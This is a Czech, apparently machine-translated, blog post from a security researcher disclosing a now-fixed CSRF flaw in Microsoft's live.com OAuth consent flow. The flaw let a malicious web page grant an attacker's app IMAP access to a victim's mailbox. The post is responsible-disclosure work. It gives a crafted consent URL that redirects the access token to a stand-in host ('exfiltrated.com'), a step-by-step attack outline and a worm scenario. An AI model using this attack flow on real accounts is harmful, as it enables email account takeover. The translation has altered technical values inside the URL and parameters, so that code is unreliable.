v Synacku si opravdu užíváme velkých zranitelností, ať už ve webovém, mobilním, hostitelském nebo dokonce ve zcela pobuřujících zařízeních a systémech (satelitní hacking někdo?). Ale vždy udržujeme skvělá zjištění, která jsme my a SRT učinili pro naše zákazníky, v tajnosti. Takže i když to nebude příspěvek o skvělém vulnu u zákazníka Synacku, pokrývá přesný typ věcí, které vidíme každý týden nebo někdy denně: zranitelnost v systému s miliony uživatelů, která vede k úplnému kompromisu zabezpečení systému.
nedávno jsem našel chybu zabezpečení v Microsoft Live.com ověřovací systém, který, pokud máte účet u jakékoli služby společnosti Microsoft, by vás pravděpodobně ovlivnil. Tento příspěvek popisuje veškeré podrobnosti o chybě zabezpečení, když společnost Microsoft problém opravila.
Úvod
pochopení počítačové bezpečnosti průměrného člověka bylo vždy poměrně omezené. Zpět v den, pokud někdo slyšel, že jste se podíleli na počítačové bezpečnosti, standardní otázka by byla „Můžete hacknout Můj Hotmail“, nebo častěji, „můžete hacknout Hotmail mého přítele“. Předpokládám, že v době, kdy lidé stále používali Yahoo mail a Microsoft ještě nezískal Hotmail,ale to je trochu příliš daleko! Nevyhnutelně byste buď navrhli, aby osoba uhodla otázky resetování hesla osoby, nebo nainstalujte Sub7. Ve skutečnosti bylo hackování Hotmailu příliš obtížné, nemluvě o zcela nezákonném.
svět informační bezpečnosti se v posledních několika letech hodně změnil a na rozdíl od minulých let společnost Microsoft nyní plně podporuje výzkumné pracovníky v oblasti bezpečnosti, aby se pokusili „hacknout Hotmail“. Hotmail byl samozřejmě přeměněn na Outlook.s, a dnes každý chce vědět, jestli můžete hacknout jejich Facebook, ale to je vedlejší.
program Microsoft Online Services bounty byl nedávno aktualizován tak, aby zahrnoval“ účet Microsoft “ jako cíl, což jsou v podstatě přihlašovací systémy hostované v každé z těchto domén:
– login.windows.net
– login.microsoftonline.com
– login.live.com
ve výše uvedeném seznamu, login.live.com je ověřovací systém, kterým projdete, pokud se pokoušíte o ověření Outlook.com a obrovské množství dalších služeb společnosti Microsoft. Rozhodl jsem se to nejprve prozkoumat, abych zjistil, jestli bych mohl objevit nějaké problémy. Jak se dalo očekávat, různé API používané ke zpracování přihlášení se zdály být dobře zpevněné. Na mnoha místech existovaly další vrstvy ochrany; například na některých místech jsou hesla před přenosem šifrována veřejným klíčem, přestože veškerá komunikace probíhá přes HTTPS.
po několika hodinách testování jsem objevil několik drobných problémů, které jsem nahlásil,ale nic opravdu nezaznamenalo. Při testování webových aplikací často zjišťuji, že nejběžnější pracovní postup je také nejbezpečnější, takže jsem se rozvětvil na zkoumání dalších způsobů, jak by se uživatel mohl autentizovat live.com systém. Téměř před rokem jsem v Yammeru našel několik zranitelností OAuth, což byl také cíl odměn online služeb společnosti Microsoft, takže jsem hledal další live.com, zde začínají zajímavá zjištění!
pozadí zranitelnosti
než se dostanu přímo do objevené chyby zabezpečení, je nutný rychlý přehled o zavádějícím bezpečnostním systému známém jako OAuth:
Wikipedia mi říká, že „OAuth poskytuje klientským aplikacím“ Bezpečný delegovaný přístup „k prostředkům serveru jménem vlastníka zdroje“. Wikipedia má také některé kousavé komentáře k jejímu vývoji a bezpečnosti, které stojí za přečtení pro dobrý smích. Realisticky, vše, co OAuth dělá, je umožnit uživateli udělit přístup k některým nebo všem přístupům jejich účtu třetí straně. Pro ilustraci jsem vytvořil kresbu MS Paint, protože jsem na Wikipedii nenašel skvělou.
jak je vidět na obrázku výše, máte Server, který uživatel oprávněn poskytnout přístup ke svému účtu klientské aplikaci. Mechanismus, který to řeší v zákulisí, může být postaven několika různými způsoby, které jsou definovány v OAuth RFC. Jedním ze způsobů, jak jej vytvořit, je“ implicitní “ tok ověřování, který zahrnuje autentizační server poskytující přístupový klíč přímo klientovi. Dalším populárním způsobem je použití postupu „autorizační kód“, kdy autentizační server vydá autorizační kód, který klientský systém převezme, a poté vymění přístupový klíč pomocí své tajné hodnoty klienta. Microsoft má dobrý popis jejich použití, jak implementovali tyto mechanismy pro live.com zde:
https://msdn.microsoft.com/en-us/library/hh243647.aspx
grafika, kterou vytvořili pro tok „autorizační kód“, vypadá takto:
takový obrázek je skvělý pro pochopení procesu, ale pro mě jako pero-tester také ukazuje spoustu příležitostí a míst, kde se věci pokazí. Takže s tím jako pozadí, na to, co bylo objeveno!
Co By Se Mohlo Pokazit?
jak je uvedeno ve výše uvedené části, existuje mnoho míst, kde by se něco mohlo pokazit. Jedním ze základních kroků v postupu ověřování OAuth je, aby se uživatel rozhodl udělit přístup k aplikaci. To se obvykle provádí pomocí výzvy, jako je tato:
obecně uživatel bude muset přijmout tuto výzvu pouze jednou, ale dokud ji nepřijmou, tato aplikace nebude mít žádný přístup ke svému účtu (zda průměrný uživatel povolí Wesově zlé aplikaci získat přístup, je možná jiná otázka!).
jako útočník by bylo určitě skvělé, kdybychom mohli žádost přijmout jménem uživatele. Bohužel pro mě byla hlavička „X-Frame-Options“ nastavena na „deny“ (nastavení X-frame-options byla mimo prostor pro tuto odměnu). Takže zatímco clickjacking je venku, rozhodl jsem se lépe porozumět tomu, jak samotná žádost fungovala. Pokud uživatel klikne na „Ano“, následující požadavek je POST ‚ ED na server (plus některé nudné hlavičky):
zatímco výše uvedená cesta URL obsahuje některé generované tokeny, testování ukázalo, že nejsou nutné, aby požadavek uspěl. Příspěvek na následující adresu URL by fungoval stejně dobře:
https://account.live.com/Consent/Update?ru=https://login.live.com/oauth20_authorize.srf%3flc%3d1033%26client_id%3d000000004C15E107% 26% 3dwl.základní%26response_type%3dcode%26redirect_uri%3dhttp:// exfiltrated.com&client_id=00000004C15E107&rd=exfiltrovaný.com&scope=wl.základní
soubor cookie odeslaný s požadavkem potřebným k tomu, aby obsahoval platný Token relace v „IPT“. Tato hodnota cookie je naplněna https:/ / login.live.com / oauth20_authorize.srf před zobrazením stránky s výzvou uživatele k povolení. To se děje bez ohledu na to, zda uživatel nakonec klikne na „Ano“, i když je nastaven nějakým kódem Javascript, takže pokud útočíme na tento proces, museli bychom uživatele v určitém okamžiku donutit načíst tuto stránku.
pokud sledujete, doufejme, že se nyní ptáte: „OK, tak co samotná žádost o příspěvek a ta kanárská hodnota?“. Nejprve jsem prozkoumal všechny ostatní parametry a komunikační toky, protože vidět hodnotu označenou „kanár“ odeslanou s požadavkem na příspěvek téměř jistě znamená, že se používá jako token k prevenci útoků CSRF. Smyslem testování bezpečnosti je však ověřit, zda jsou předpoklady skutečně správné. Upravil jsem tedy požadavek na příspěvek a změnil hodnotu kanárek na „hacks_go_here“. Místo přesměrování na chybu 500 server poslal zpět kladnou odpověď!
CSRF na PoC
vzhledem k tomu, CSRF token byla poslední věc, kterou jsem se snažil manipulovat s, Věděl jsem s jistotou, že by to mělo znamenat platnou chybu zabezpečení CSRF. Jako u téměř každého útoku CSRF, jediným předpokladem bylo, že oběť byla přihlášena, a měl platný Token relace ve svém souboru cookie. Na rozdíl od mnoha jiných webových zranitelností je dopad chyby zabezpečení CSRF zcela závislý na ovlivněné funkci API. Tento CSRF mi umožňuje obejít krok interakce uživatele ověřovacího systému OAuth, ale PoC má hodnotu tisíc slov, takže dalším krokem bylo vytvoření nějakého kódu, který by vhodně demonstroval dopad této chyby zabezpečení.
v normálním toku ověřování OAuth by měl server po udělení přístupu vrátit uživateli přístupový kód. Uživatel to předá klientské aplikaci, která pak může použít udělená oprávnění. V live.com klientská aplikace může požadovat širokou škálu možných oprávnění. Zvažoval jsem jen dumping kontaktů uživatele nebo něco takového,ale proč obětovat na cíl hacking Hotmail teď? Oprávnění, která můj PoC potřeboval, byla:
wl.offline_access+wl.imap
Offline nebylo vše potřebné, ale hodil jsem to, abych ukázal, že to bude uděleno.
s vybranými potřebnými oprávněními existují 4 kroky k získání přístupu k e-mailovému účtu uživatele:
1) musíme podat žádost o autorizaci pro naši klientskou aplikaci pomocí výše uvedených oprávnění. Server vyzve uživatele k přijetí nebo odmítnutí.
2) Když uživatel přijme naši žádost o tato oprávnění, server připojí parametr“ #access_token=<token> “ k přesměrování, které mu nařídíme.
3) Protože naše skripty na straně serveru budou potřebovat přístup k této hodnotě, musíme vytvořit jednoduchou stránku, abychom převzali token z pole URL prohlížeče a předali jej našemu serveru.
4) Nakonec potřebujeme některé skripty na straně serveru, abychom tento token vzali a použili jej k přihlášení do IMAP. Microsoft má poněkud spletitý Proces pro použití tokenu OAuth k přihlášení přímo přes IMAP. K tomu existuje několik ukázkových knihoven, a celý proces je popsán na této stránce:
https://msdn.microsoft.com/en-us/library/dn440163.aspx
tento pracovní postup by fungoval dobře za předpokladu, že se uživatel rozhodne dát nám povolení. Nyní stačí upravit pracovní postup tak, aby místo toho zahrnoval CSRF. Jak již bylo uvedeno výše, live.com autentizační server bude očekávat Token relace v souboru ipt cookie. Můžeme zajistit, že je naplněn prvním odesláním uživatele na stránku validhttps: / / login. live. com / oauth20_authorize. srf. Ihned poté můžeme spustit požadavek CSRF, který využije nově vyplněnou hodnotu cookie. To nyní může nahradit Krok 1 a vynutit server, aby okamžitě skočil na Krok 2.
Demo a dopad
společnost Microsoft nyní tento problém vyřešila, ale zde je rychlé video, které jej ukazuje v akci.
jak je vidět na videu, vše, co je opravdu nutné, je přimět oběť, aby navštívila vaši škodlivou webovou stránku. Demo nebylo navrženo tak, aby bylo záludné a běželo na pozadí webové stránky nebo jako součást nějaké škodlivé bannerové reklamy, ale určitě to mohlo být provedeno tímto způsobem.
použití tohoto jako cíleného útoku má rozhodně velký dopad, ale je to také dokonalý typ zranitelnosti, který se změní na červ. S IMAP a kontakt kniha přístup, červ mohl snadno e-mailem všechny kontakty uživatele (nebo alespoň ty, kteří používají Hotmail, Outlook.com, atd.), s něčím lákavým, virovým stylem „ILOVEYOU“ a rozšířeným na každého uživatele, který klikne na odkaz.
Závěrečné myšlenky a časová osa
Lov na tuto zranitelnost a vytváření pracovního PoC zahrnovalo značné množství úsilí při kopání různých live.com API. Při pohledu zpět na to všechno však, toto je opravdu jen klasická chyba zabezpečení CSRF. Jediná věc, která je na tom překvapivá, je, že je v kritickém autentizačním systému, který lze nakonec použít k převzetí účtu každého uživatele.
jako externí tester nemám ponětí, jak dlouho tato chyba zabezpečení mohla existovat, nebo pokud se ji někdo někdy pokusil zneužít. Zároveň je to zjištění, jako je tato, která rozhodně ukazují hodnotu umožnění externím testerům předložit zranitelnosti vaší společnosti dříve, než je útočníci využijí proti vám. Microsoft je daleko před většinou společností, pokud jde o bezpečnost, a přesto jsou stále suceptible k problémům, jako je tento. Zkušenosti společnosti Synack spočívají v tom, že zranitelnosti jsou odhaleny i ve zdánlivě dobře zabezpečených systémech, když tento systém testuje velká skupina externích vědců. To je v podstatě předpoklad, na kterém Synack funguje, a proto stále více společností nabízí své vlastní bounty programy(samozřejmě bych doporučil Synackův program před spuštěním vlastního!).
jak je vidět na časové ose níže, společnost Microsoft reagovala na opravu tohoto problému, což bylo skvělé vidět.
Časová osa:
23. srpna 2015: zranitelnost objevena
25. srpna 2015: zranitelnost nahlášena společnosti Microsoft
31. srpna 2015: Microsoft vydává číslo případu zranitelnosti
15. Září 2015: Microsoft vydává opravu problému, vydává 24 000 dolarů bounty (double bounties promo)